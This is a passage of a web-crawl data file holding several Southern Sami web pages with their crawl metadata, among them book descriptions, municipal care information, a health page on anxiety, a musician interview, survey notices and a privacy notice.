jïermijåbpoe mubpijste, dïhte Næjlam raereste galka staaloej gåajka nåejtielaemtjiem löönedh. Dellie easkah aaltoe buarene. Næjla staalojste aerkie, men ij jeatjah raeriem mïelh goh staaloej gåajka vuelkedh. Gåalmadisth pryöveme, dle gujht laemtjiem fihkele jïh gåetide baatere dejnie. Staaloeh jis dallah minngielisnie. Lohkemegærja maanaskuvlese, mesnie åenehks teeksteboelhketjh jïh klaerieguvvieh.","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/ovttas.no\/sma\/girji_naejla-jih-baektiestaaloen-naejtielaemtjie?overridden_route_name=entity.node.canonical&base_route_name=entity.node.canonical&page_manager_page=node_view&page_manager_page_variant=nodes&page_manager_page_variant_weight=-10","date":"2024-02-24T10:04:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947474526.76\/warc\/CC-MAIN-20240224080616-20240224110616-00483.warc.gz","language":"sma","language_score":1.0000026226,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"sma_Latn_score\": 1.0000026226043701}","num_words":91,"character_repetition_ratio":0.05,"word_repetition_ratio":0.0,"special_characters_ratio":0.161,"stopwords_ratio":0.088,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Lihtseginie nuepiem åtnah jiehtedh maam vihkeles dutnjan jïh eadtjaldovvedh daennie stööremes saemien noeresiebresne. Lissine datne plaeriem Nuorat åådtje jïh nuepiem gaajhkh Sáminuorran öörneginie jïh lihtseghtjåanghkojne meatan årrodh.\nLihtseginie maaksa 100 kråvnoeh fïerhte jaepie. Fuelhkie maahta lïhtseginie årrodh jïh dle maaksa 180 kråvnoeh. Aajne almetjh mij lea 6-30 jaepiej gaskem nuepiem åadtjoeh gïelem vedtedh Sáminuorran jaepietjåanghkosne bene jalhts man båeries leah maahtah saemien noerh dåarjedidh lihtseginie!","id":"","dump":"CC-MAIN-2024-10","url":"http:\/\/www.saminuorra.org\/sijhth-lihtsege-sjidtedh\/","date":"2024-03-03T06:01:27Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947476205.65\/warc\/CC-MAIN-20240303043351-20240303073351-00675.warc.gz","language":"sma","language_score":0.9999196529,"language_script":"Latn","minhash_cluster_size":19,"top_langs":"{\"sma_Latn_score\": 0.9999196529388428}","num_words":62,"character_repetition_ratio":0.062,"word_repetition_ratio":0.0,"special_characters_ratio":0.149,"stopwords_ratio":0.129,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Båeriesalmetjh, äldre\nVoeres jih ov-vervide\nBïerjen tjïeltesne mijjieh barkebe ihke viehkiem jih dåarjegem båerisalmetjidie jih ov-vervide vedtedh, juktie dah gelkieh maehtedh akten jïjtjemes jielemem jieledh. Hoksem Bïerjen tïeltesne akten salutogen jih rehabiliteringe vååjnesem åtna. Barkoem galka aajnen jïjtsh-eajhnadovvemem, integritetem jih jearsoesvoetem vaarjelidh,\nSyökemem barkoen bïjre tjïelten viehkiegïetedallijen luvnie darjoen. Syökemem njaalmeldh jallh tjaaleldh darjoen. Tjïelten viehkiegïetedallije varki tjïelkeste jih nännoste dah barkoeh mah syökeme. Datne akten tjaaleldh bäjhkoehtimmim nännoestimmien bïjre åadtjoeh, mij männgan dorjesåvva.. Jis ih datne fuakoes leah maahtah nännoestimmiem leenereaktese laejhtedh. Viehkiegïetedallijem maahta laejhteminie viehkiehtidh. Syökemem fealadimmiesaehtemen bïjre Leenetrafihkesne daajhtoen.\nJienebh bïevnesh, gaskesadth tjïelten viehkiegïetedallije\nJienebh bïevnesh åasaj bïjre, lohkh jienebh åasan bïjre daesnie läs om taxan här.","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/berg.se\/saepmie\/information-pa-samiska\/hokse-viehkie-jih-sajhtoe---omsorg-hjalp-och-vard\/baeriesalmetjh-aldre","date":"2024-03-03T23:27:24Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947476399.55\/warc\/CC-MAIN-20240303210414-20240304000414-00531.warc.gz","language":"sma","language_score":1.0000042915,"language_script":"Latn","minhash_cluster_size":15,"top_langs":"{\"sma_Latn_score\": 1.0000042915344238}","num_words":110,"character_repetition_ratio":0.088,"word_repetition_ratio":0.0,"special_characters_ratio":0.13,"stopwords_ratio":0.118,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tjaelije Porsanger, Sverre Bertije Deanu giellagáddi Vaadtasovvemejaepie 2011 Faage Eatnemefaage Saemien 1 Båatsoe jïh design Daltese 1-4 5-7 8-10 VGS Jollebe ööhpehtimmie Giele Noerhtesaemiengïele Daaroengïele ISBN 9788299872904 Formaate Sïejhme gærja Reakta-aajhtere Deanu giellagáddi Reaktah Gaajhkh reaktah leah doelehtovveme Aamhtesh Kultuvre Litteratuvre Aarhte jïh daajroe Eatnemefaage Saemiengïele Baakoegærjah Viehkiebaakoe Baakoelæstoe Baakoegærja","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/ovttas.no\/sma\/girji_deanusilba-lakseord-i-utvalg?overridden_route_name=entity.node.canonical&base_route_name=entity.node.canonical&page_manager_page=node_view&page_manager_page_variant=nodes&page_manager_page_variant_weight=-10","date":"2024-02-24T10:49:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947474526.76\/warc\/CC-MAIN-20240224080616-20240224110616-00247.warc.gz","language":"sma","language_score":0.9993414879,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.9993414878845215}","num_words":44,"character_repetition_ratio":0.089,"word_repetition_ratio":0.0,"special_characters_ratio":0.173,"stopwords_ratio":0.091,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Jaabnan vuarjasjimmie edtja viehkiehtidh lïeremem eevtjedh jïh maahtoem faagesne evtiedidh. Learohkh maahtoem faagesne nöörjengïelesne learoehkidie saemiengïeline voestesgïeline vuesiehtieh jih evtiedieh 1. jïh 2. daltesinie gosse nuepiem åadtjoeh goerehtidh jïh stååkedidh gïeline, jïh gosse meatan soptsestalleminie jïjtsh gelliengïelevoeten jïh aarkebiejjien bïjre. Learohkh aaj maahtoem vuesiehtieh jïh evtiedieh gosse bokstaavh, baakoeh jïh ånnetji ånnetji aaj åenehks teeksth nöörjengïelesne luhkieh jïh tjaelieh.\nLohkehtæjja edtja sjïehteladtedh guktie learohkh leah meatan jïh lïeremelastose skreejrehtidh viehkine learohkh åadtjoeh svihtjedh, meatan årrodh stååkedidh, onterdidh jïh daajide nuhtjedh. Lohkehtæjja edtja sjïehteladtedh guktie learohkh nöörjengïelem saemiengïeline viertiestieh. Learohkh edtjieh nuepiem åadtjodh pryövedh nöörjengïelesne, jïh edtjieh åadtjodh dååjrehtidh pryövedh jïh fiejlieh darjodh lea bielie lïeremistie. Lohkehtæjja jïh learohkh edtjieh dialogesne årrodh learohki evtiedimmien bïjre faagesne nöörjen learoehkidie saemiengïeline voestesgïeline. Dan maahtoen mietie maam learohkh vuesiehtieh, edtjieh nuepiem åadtjodh baakoeh bïejedh dïsse maam dååjroeh sijjieh buektiehtieh, jïh maam buerebelaakan buektiehtieh goh aarebi. Lohkehtæjja edtja dan guhkiebasse lïeremen bïjre bïhkedidh jïh lïerehtimmiem sjïehteladtedh guktie learohkh maehtieh bïhkedassem nuhtjedh sijjen maahtoem evtiedidh lohkemisnie, tjaeliemisnie jïh njaalmeldh gïelesne.","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/www.udir.no\/lk20\/nor03-04\/kompetansemaal-og-vurdering\/kv144?lang=sma","date":"2024-02-22T23:56:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947473871.23\/warc\/CC-MAIN-20240222225655-20240223015655-00247.warc.gz","language":"sma","language_score":1.0000092983,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.000009298324585}","num_words":162,"character_repetition_ratio":0.079,"word_repetition_ratio":0.0,"special_characters_ratio":0.124,"stopwords_ratio":0.148,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"RI-5 åarjelsaemiengïele\/sørsamisk\nRI-5 lea Risiko-Indeks, jïh vaahrese vïjhten jaepien båeries maanaj luvnie vuesehte mah maehtieh dysleksijem evtiedidh skuvleaalhteren.\nSjïerepedagogh, logopedh jïh barkijh PPD:sne byöroeh gihtjemegoeride nuhtjedh daan boelhken maana maanagïertesne orreje jïh skuvlem aalka. Edtja dïrregem ajve aarhskuvlemaanide nuhtjedh dej veajkoej gosse onterde mejtie maana maahta dysleksijem utnedh.\nDaate amma viehkiedïrrege juktie dysleksijevaahram gaavnedh aareh aaltarisnie. Jis akte skååre goerehtallemen mænngan vuesehte maana lea vaahrasonesne byöroe jåerhkedh maanam vielie goerehtidh jïh haarjanimmiesoejkesjem evtiedidh.","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/statped.no\/laringsressurser\/sprak-og-tale\/samisk-spraktale\/ri-5---aarjelsaemiengielesorsamisk\/","date":"2024-04-16T17:29:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296817103.42\/warc\/CC-MAIN-20240416155952-20240416185952-00783.warc.gz","language":"sma","language_score":1.0000029802,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 1.0000029802322388}","num_words":73,"character_repetition_ratio":0.059,"word_repetition_ratio":0.0,"special_characters_ratio":0.133,"stopwords_ratio":0.11,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Dennie tjaalegisnie maahtah lohkedh guktie lea asvem utnedh. Åadtjoeh aaj raerieh maam jïjtje maahtah darjodh jis datne asvem åtnah. Datne åadtjoeh daejredh gusnie edtjh hoksem ohtsedidh.\nMij lea asve?\nDïhte sïejhme asvem utnedh. Asve lea kråahpen vuekie vuesiehtidh datne mestie akt bïlledh. Ih maehtieh kråahpem stuvredh guktie domtoe. Muvhtene maahta asve åssjaldahkeste båata. Maahtah aaj asvem åadtjodh sjïere tsiehkijste, kaanne dah datnem måjhtajehtieh mestie akt datne åvteli bïlleme.\nGuktie domtoe asvedidh?\nAsve ovmessie vuekine sjædta ovmessie almetjidie. Daesnie vuesiehtimmieh guktie maahta domtedh:\n- Maahtah damtedh vaajmoe tsaapma garrebe jallh varkebe enn sïejhme.\n- Gïerve voejngehtehtedh jallh svååjpelostedh.\n- Maahta damtedh goh löövles tjåejjesne jallh mïelkesne.\n- Maahta damtedh datne leah baahkes jallh galmes.\n- Maahtah gejhkie njaelmesne, gadtje-nïeresne jallh tjööjjeste damtedh.\n- Maahtah damtedh dov gïeth jallh juelkieh båvvasieh.\n- Maahtah damtedh svalkaridh jallh åedtjieh viesjies.\nSåemies aejkien asve aalka viesjies jïh tjarkebe tjarkebe sjædta. Såemies aejkien asve varke båata, guktie gohtje aanaehpesne. Dïhte maahta nåake årrodh jïh ålvehtehtedh asvesne, men ij leah vaahreles. Sïejhme asve nåhki måedtie minuhti mænngan.\nSåamesh asvem utnieh mij bååstide daamhtaj båata jallh guhkiem. Jis guhkiem asvine jielieminie maahta sjïdtedh naemhtie datne ij sïjhth darjodh darjomem mestie vïenhth asve båata. Dïhte datnem heerrie jielemem jieledh guktie sïjhth jïh destie maahta sjïdtedh asve vearrene.\nGåessie jïh gusnie edtjem hoksem ohtsedidh?\nGaskesadth hoksejarngem jallh psykiatrijen ræhpashokse-dåastoehtimmiem jis maam akte daejstie sjeahta dutnjien:\n- Datne sijjieh jallh tsiehkieh rïevh dan gaavhtan bïllh asve dutnjien båata.\n- Datne gellien aejkien aanaehpesne unnemes asken mietie.\n- Datne dan bïllijh jallh damth tjoerh maam akt darjodh.\n- Datne dov asvem unnede alkohovline, narkotihkine jallh jïjtjem skaaredh.\nRingkh telefovnenummere 1177 jis sïjhth viehkiem gusnie maahtah hoksem ohtsedidh. Dah gïeh vaestiedieh leah skïemtjesåjhterh. Maahtah daaroestidh jallh englaanten gïelem soptsestidh.\nJis fuehpesne\nOhtsedh hoksem dallegh hïehkedåastoehtimmesne jis dan båajhtoeh damth jallh ussjedh datne ih sïjhth jieledh.\nDatne damth naakenem gie dan soe båajhtoeh damta jallh ussjedh sov jïjtjen hïegkem vaeltedh? Viehkehth dellie almetjem hoksem gaskesadtedh. Maahtah 112 ringkedh jis vïenhth almetjen hïegke vaahresne.\nMaam maahtam jïjtje darjodh?\nGååvnesieh gellie darjomh mejtie maahtah rætnoe darjodh jis asvesne. Maahtah voejhkelidh ussjedidh maam akt jeatjah, vuesiehtimmien gaavhtan vaedtsedh, gærjam lohkedh jallh giejnie akt soptsestalledh. Maahtah aaj heerjehtalledh slaajperdidh jallh maam akt jeatjah darjodh mestie sïedtelgovvedh.\nGååvnesieh aaj darjomh mah maahtah darjodh guktie buaranidh. Voejhkelh hijven beapmoeh byöpmedidh, lïegkedidh jallh eensilaakan åeredh jïh svihtjedh.\nDatne leah asvem aerebe åtneme jïh vueptiesti maam akt mestie buaranih? Voejhkelh seamma darjomem viht darjodh. Vihkielommes voejhkelh jieledh guktie sïjhth jieledh, seamma aejkien goh heerjehtalledh asvem gïetedidh.\nMah båehtjierdimmieh gååvnesieh?\nGååvnesieh ovmessie båehtjierdimmieh mejstie buerebe damtedh jis asvem åtnah. Maahtah gaskem jeatjah viehkiem åadtjodh guktie njaelkieslaakan åeredh, hijven byöpmedidh, svihtjedh vihkeles guktie hijven utnedh jïh unnebe alkohovlem jovkedh. Aaj onne jorkesimmieh maehtieh stoerre joekehtsh darjodh. Maahtah aaj åadtjodh hoksebarkijigujmie soptsestidh gïeh datnem dåarjoeh. Dam gohtje psykoterapije. Jis datne asvem guhkiem åtneme gååvnesieh aaj daalhkesh viehkine.\nGuktie maahtam mubpiem viehkiehtidh?\nGoltelh dam mij båajhtoeh åtna. Soptsesth ij leah vaahreles asvem utnedh. Garmerdh almetjem jienebe lïeredh asven bïjre jïh maam maahta darjodh guktie buerebe damtedh. Maahtah aaj voejhkelidh almetjem skreejredh hoksem ohtsedidh.\nAellieh hujnies jallh håjnoes sjïdth jis almetje ij vååjnoes goh goltelidh. Vihkielommes almetje damta datne pryjjh.\nMaahtah aaj jïjtje viehkiem daarpesjidh guktie åajsoeh skïemtjijem dåarjodh. Maahtah aaj daarpesjidh giejnie akt soptsestalledh dov tsiehkiej bïjre.","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/www.1177.se\/sma-se\/Norrbotten\/other-languages\/other-languages\/ma-daligt---andra-sprak\/angest---andra-sprak\/","date":"2024-04-21T03:11:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296817699.6\/warc\/CC-MAIN-20240421005612-20240421035612-00115.warc.gz","language":"sma","language_score":1.0000061989,"language_script":"Latn","minhash_cluster_size":24,"top_langs":"{\"sma_Latn_score\": 1.0000061988830566}","num_words":528,"character_repetition_ratio":0.056,"word_repetition_ratio":0.0,"special_characters_ratio":0.152,"stopwords_ratio":0.059,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Jarkoestæjja: Ellen Bull Jonassen\nKatarina lea gohtjesovveme akte dejstie «live-artistijste» Saepmesne gïen stööremes talente. Dïhte musihkem dan jïjnjem eahtsa jïh devverde jïjnjem musihken åvteste jeala, guktie dæjman dïhte Sveerjeste Nöörjese juhti edtja radtjehkåbpoe sov musihkine barkedh.\nDaelie aktem jaepiem Oslosne orreme.\nUpmejistie juhti\nSeenhteiehkeden gosse Š Katarinese ringkie edtja gihtjehtimmiem darjodh. Guktie lea Oslosne veasodh lea akte dejstie teemijste.\nKoronapandemijen gaavhtan dïhte vihkeles veeljemen uvte tjåadtjoeji. Tjoeri maam akt darjodh edtja maehtedh musihkine jåerhkedh.\n– Heaptoe musihkese jïh munnjien goh artiste sjïdti gosse idtjim maehtieh raastem baahtsedh Nöörjese. Laanteraasth lin steegkeldh guhkiem, jïh dellie ussjedim manne tjoerim veeljedh dam mij lij bööremes åvtese.\nVeeljeme aaj vaaltasovvi. Dïhte Upmejistie juhti.\nDamta hiejmedajvi gåajkoe arhta\nAkten jaepien mænngan Katarina hijvenlaakan tråjjede Oslosne, jïjnjem voelpi jïh barkoeguejmiej gaavhtan.\n– Akte dejstie fåantojste man åvteste dan hijvenlaakan tråjjedem lea manne stuerebe nuepiem åådtjeme mov musihkem evtiedidh. Raaktan dïhte joekoen hijven, Katarina jeahta.\nMen damta satne ahkedh hïejmedajvi gåajkoe arhta.\n– Lij joekoen stoerre sïlle munnjien Oslose juhtedh. Daate voestes aejkien manne Saepmien ålkolen årroem.\n– Muvhten aejkien manne tjarke arhtem mov hïejmedajvi gåajkoe, Katarina jeahta, mij aalkoelistie Luspeste båata.\nGosse hïejmedajvi gåajkoe arhta goh ellen vïerremes dellie tuhtjie hijven saemien byjresem Oslosne utnedh. Oslosne gellie saemieh årroeh.\n– Jïh gæjhtoe dan åvteste! Joekoen hijven maehtedh jeatjebh staaresne gaavnedidh. Manne lim vielie raessesne orreme jis ij lij devverde dan gellie saemieh Oslosne goh lea, Katarina jeahta.\nPersovneles albume\nDaelie sjyöhtehke sov mubpie albuminie «Ruhttuo». Albumisnie teemah bæjjese vaalta mah leah gaajhken bïjre goh gieriesvoete, gïelegæmhpoe jïh kultuvreaerpie.\nJïh iktegisth våaroeminie åtna guktie lea noere saemien nyjsenæjja årrodh daan biejjien.\nDaate joekoen persovneles albume mejnie guhkiem gïehtelamme.\n– Raaktan daelie leam dan madtjele jïh geerjene dïhte olkese båateme!\nAavode orre musihkem darjodh\nAlbumen nomme aaj soptseste man persovneles dïhte lea sutnjien. Ruhttuo lea gidtjh nomme akten sjïere råhtose mij lea altese hïejmedajvine.\n– Manne dagkeres skåajjen lïhke byjjenim. Sïjhtim dam nommem nuhtjedh dan åvteste albume lea dan persovneles munnjien.\nDaelie Katarina jieledem niktie fealadimmiejgujmie. Seamma tïjjen aavode orre musihkem vihth darjodh.\nLohkh aaj: Influencere Evelina\nLohkh aaj: Skuvlebïenghkeste skïemtjegåetiebarkose\n– Njaelkie domtoe åvtese vuejnedh jïh daejredh daelie orre boelhke mov uvte gosse vihth åadtjoem orre musihkem darjodh.","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/ungdomsmagasin.no\/orre-kapihtele\/09.03-09:03","date":"2024-04-18T01:22:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296817184.35\/warc\/CC-MAIN-20240417235906-20240418025906-00863.warc.gz","language":"sma","language_score":0.9999771118,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9999771118164062}","num_words":353,"character_repetition_ratio":0.059,"word_repetition_ratio":0.0,"special_characters_ratio":0.152,"stopwords_ratio":0.088,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Interreg Noerhte jïh Interreg Saepmie 2021 - 2027Nöörje edtja meatan årrodh orre Interregprogrammesne mij vaasa 2021 raejeste 2027 raajan. Saemiedigkie aaj meatan hammoedimmesne programmeste jïh Saemiedigkie sæjhta daanbeajjetje öörnegem jåerhkedh gusnie Saepmie lea jïjtse suerkiedajve. Åvtelen programmebarkoe jåarhka sïjhtebe datne dov sjaavnjoejgujmie jïh åssjaldahkigujmie båatah mej raastenrastah teemaj bïjre mijjieh edtjebe orre programmesne prioriteradidh. Dievhtieh goerem daesnie: https:\/\/forms.gle\/7gzQQJ4cXqRr6BfL7 Nöörjen versjovne https:\/\/forms.gle\/TJZLiXQtUAbk8ACT7 Soemen versjovne https:\/\/forms.gle\/y54f9faGGABCopc69 Sveerjen versjovne https:\/\/forms.gle\/a2ktsdiTsPzfKEtP7 Noerhtesaemien versjovne https:\/\/forms.gle\/B3tVwJDGepEyKfSt9 Åarjelsaemien versjovne https:\/\/forms.gle\/JPbqbP7tdFesEhyAA Englaantegïelen versjovne Vaestiedimmiemierie lea 23.11.20. Romsan jïh Finnmarhken fylhkentjïelte bïevnesidie sïjse tjöönghkie jïh daennie goeresne maahta aaj bïeljelidh jis sæjhta meatan årrodh webinaaresne goeven. EU-programme Interreg Noerhte edtja viehkiehtidh dam raastenrastah laavenjostoem nænnoesåbpoe darjodh. Aajkoe programmine boelhken 2014-2010 lea ekonomeles jïh sosijaale evtiedimmiem nænnoestidh. Noerhte-programmen bijjemes ulmie lea programmedajven gaahtjemefaamoem jïh attraktiviteetem nænnoestidh. Programmedajve lea Noerhte-Nöörje, Noerhte-Soeme, Noerhte-Sveerje jïh Saepmie. Vielie bïevnesh daaletje programmen bïjre gaavnh daesnie: https:\/\/www.interregnord.com\/ ArtikkelPublisertDatoFront 11.11.2020 13.02 SistEndret 11.11.2020 13.55","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/sametinget.no\/saernieh\/interreg-noerhte-jih-interreg-saepmie-2021-2027.8545.aspx","date":"2024-04-22T15:21:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296818312.80\/warc\/CC-MAIN-20240422144517-20240422174517-00865.warc.gz","language":"sma","language_score":0.9998005033,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9998005032539368}","num_words":137,"character_repetition_ratio":0.103,"word_repetition_ratio":0.0,"special_characters_ratio":0.179,"stopwords_ratio":0.124,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Bertije\nVaadtasovvemejaepie\n2013\nFaage\nDaltese\nGiele\nISBN\n9788256017386\nFormaate\nSïejhme gærja\nReakta-aajhtere\nReaktah\nGaajhkh reaktah leah doelehtovveme\nDaate orre gærja raajrosne \"Gïeline åahpenidh\", åarjelsaemien learoevierhtie learoehkidie mah åarjelsaemien voestes gieline maadthskuvlesne luhkieh. Daennie gærjesne ovmessie teksth, dovne åenehks jïh guhkebe teksth. Gærjesne guvvieh mah learoehkidie viehkehte tekstide guarkedh. Barkoegærjesne CD gååvnese juktie learoehkidie maehtieh tekstide lohkemegærjesne goltelidh. Learoevearhtan aaj lohkehtæjjan bïhkedimmie jïh barkoegærja gååvnese.","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/ovttas.no\/sma\/girji_gieline-aahpenidh-4-0","date":"2024-04-14T07:53:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296816875.61\/warc\/CC-MAIN-20240414064633-20240414094633-00127.warc.gz","language":"sma","language_score":1.0000001192,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.0000001192092896}","num_words":62,"character_repetition_ratio":0.07,"word_repetition_ratio":0.0,"special_characters_ratio":0.151,"stopwords_ratio":0.097,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Jåvli åvtelen voestes biejjielåhkoem åarjelsaemiengïelesne båata. Jih ij leah barre akte sïejhme biejjielåhkoe.\nDan gijren Gïelem nastedh (Snåasesne) jih Gïeleaernie (Raarvihkesne) akte prosjeekte eelkin. Ulmiem lij biejjielåhkoe åarjelsaemiengïelesne darjodh.\nÅse Klemensson jih sov paarrebielie Nils Arvid Wersterfjell lægan maahtoe biejjielåhkose tjøøngkeme.\nDovne Sveerjen jih Nøørjen bïelesne\nBiejjielåhkoem gåerede nuhtjedh dovne Sveerjen jih Nøørjen bïelesne Saepmesne. Ij leah barre sïejhme biejjielåhkoe, maahta hov maahtoe vearaldemïerhkej bïjre, mïerhkebiejjiej bijre jih seavegebiejjiej bijre åadtjodh. Dovne saemien seavegebiejjieh jih seavegebiejjieh Sveerjesne jih Nøørjesne.\nKlemensson tuhtjie joekoen gielteges orreme biejjielåhkojne barkedh, jih tuhtjie aaj vihkeles dom maahtoem båetije biejjide tjøøngkedh.\nVielie evtiedidh\nSaemien biejjielåhkoe joe gååvnese dovne noerhte- jih julevsaemiengïelesne. Daate barkoe, åarjelsaemien biejjielohkojne lea easkan aalkeme, jih Klemensson håhkesje daate prosjeekte edtja vielie evtiedidh.\nGïele aernien åejvie, Tove Mette Jåma Wigdahl aaj tuhtjie daate vihkeles barkoe, jih håhkesje barkoem edtja jåerhkedh.\nBiejjielåhkoem maahta jåvli åvtelen åestedh. Saemien sijtesne, Snåasesne jallh Gïeleaerneste dongkedh.\nOriginal artikkel publisert hos NRK Sápmi 02.12.14.\nDirektelink: https:\/\/www.nrk.no\/sapmi\/aarjelsaemien-biejjielahkoe-1.12075198","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/gielemnastedh.no\/2014\/12\/aarjelsaemien-biejjielahkoe\/","date":"2024-04-14T17:07:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296816893.19\/warc\/CC-MAIN-20240414161724-20240414191724-00539.warc.gz","language":"sma","language_score":0.9999488592,"language_script":"Latn","minhash_cluster_size":31,"top_langs":"{\"sma_Latn_score\": 0.9999488592147827}","num_words":156,"character_repetition_ratio":0.091,"word_repetition_ratio":0.0,"special_characters_ratio":0.159,"stopwords_ratio":0.147,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Bo Ege - Gïeleldh Teestese 1 åarjelsaemïengiele\/sørsamisk\nGïeleldh Teestese 1 lea aelhkies screeninge- goerehtimmie gusnie smaave dajvesne maanan biejjieladtje baakoevåarhkosne vååksje.\nGosse gïeleteestem tjïrrehte byöroe oktegh maanine tjahkasjidh jïh hijven astoem utnedh. Maana edtja guvvide vuartasjidh jïh dejtie lahtestehtedh. Sjïerepedagoge don vaastoealternatijvese deadtah mij bööremeslaakan sjeahta dejnie baakojne maana guvvien bïjre nuhtjie. Mubpie guvvie sjeermese jæjhta gosse evtebem guvviem vaestiedamme. Guvvieh akti akti maanese vååjnoeh jïh dellie gihtjie: «Mij dïhte?».","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/www.statped.no\/laringsressurser\/sprak-og-tale\/samisk-spraktale\/bo-ege---gieleldh-teestese-1\/","date":"2024-04-17T16:14:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296817158.8\/warc\/CC-MAIN-20240417142102-20240417172102-00172.warc.gz","language":"sma","language_score":1.0000011921,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 1.0000011920928955}","num_words":67,"character_repetition_ratio":0.045,"word_repetition_ratio":0.0,"special_characters_ratio":0.144,"stopwords_ratio":0.075,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Persovnebïevnesedïedte\nSaetniesvoetekommisjovne saemide (KU 2021:02) persovnebïevnesedïedtem åtna guktie daejtie persovnebïevnesidie gïetedalla jïh dïedtem åtna daejtie bïevnesidie rïekteslaakan daaletje laaken mietie gïetedåvva.\nPersovnebïevnesh leah gaajhken såarhth bïevnesh mij maahta gukt akt almetjasse dibredh. Gïetedalleme persovnebïevnesistie lea gaajhke maam maehtebe persovnebïevnesigujmie darjodh.\nGuktie maehtedh persovnebïevnesh gïetedalledh dellie tjuara duvtemem daatavaarjelimmienjoelkedassijste utnedh, mij gohtjesåvva reaktavåarome.\nKommisjovnen barkosne dagkeres våarome daerpies jis edtja persovnebïevnesh gïetedalledh barkosne gusnie almetjh ïedtjh utnieh.\nGaajhkh barkoeh maam staate jallh reereme staaten byjjesfaamojde vadteme, goh kommisjovnh lea reeremen vuajnoen mietie sïejhme iedtje. Gosse kommisjovne persovnebïevnesh gïetedalla dle reaktavåaroemistie duvtesåvva – vihkeles sïejhme ïedtje. Jis luhpie gååvnese dle gåarede persovnebïevnesh gïetedalledh.\nNaemhtie kommisjovne persovnebïevnesidie gïetedalla.\nDeahpadimmide\nGosse komisjovne darjomes hööltieh dle persovnebïevnesh gïetedallebe, guktie maehtebe almetjidie deahpadimmesne reegesteeredidh. Reaktan våarome lea daate sïejhme ïedtje.\nGaskesadteme almetjigujmie\nGåessie kommisjovnem bieljelh, vg. telefovnen tjirrh, prieviem jallh e-påastem seedth dle gïetedallebe dejtie bïevnesidie datne mijjese vadteme guktie maehtebe datnem viehkiehtidh. Dïhte gïetedallemen reaktavåarome lea vihkeles sïejhme ïedtje.\nTjöönghkeme persovneles vaajesistie\nKommisjovnen barkosne persovneles vaajesh tjöönghkedh. Persovnebïevnesh maam gïetedallebe maahta nommh årrodh. Læjhkan mejtie soptsestæjja tsiemeds dle maahta bïevnesh jijhtedh maam maehtebe fysiske almetjasse bïejedh, jïh dle persovnebïevnese sjædta. Daah bïevnesh lea tjeakoes bïevnesh juktie etniske maadtoem utnieh. Gïetedallemen reaktavåarome almetjh sïejhme ïedtjem daestie utnieh.\nKonsultasjovne\nKommisjovne konsultasjovnem organisasjovni jïh referansealmetjigujmie åtna. Dle nommh, gaskesadtemebïevnesh jïh jeatjah bïevnesh gïetedallebe. Gïetedallemen reaktavåarome almetjh sïejhme ïedtjem daestie utnieh.\nPrenumerasjovne saernijste jïh pressebïevnesijstie\nKommisjovne persovnebïevnesh gïetedalla dle gåessie gïeh bieljelieh sijhtieh saernieh jïh pressebïevnesh utnedh. Gïetedallebe guktie maehtebe prenumerasjovnem öörnedh jïh bïevnesidie seedtedh. 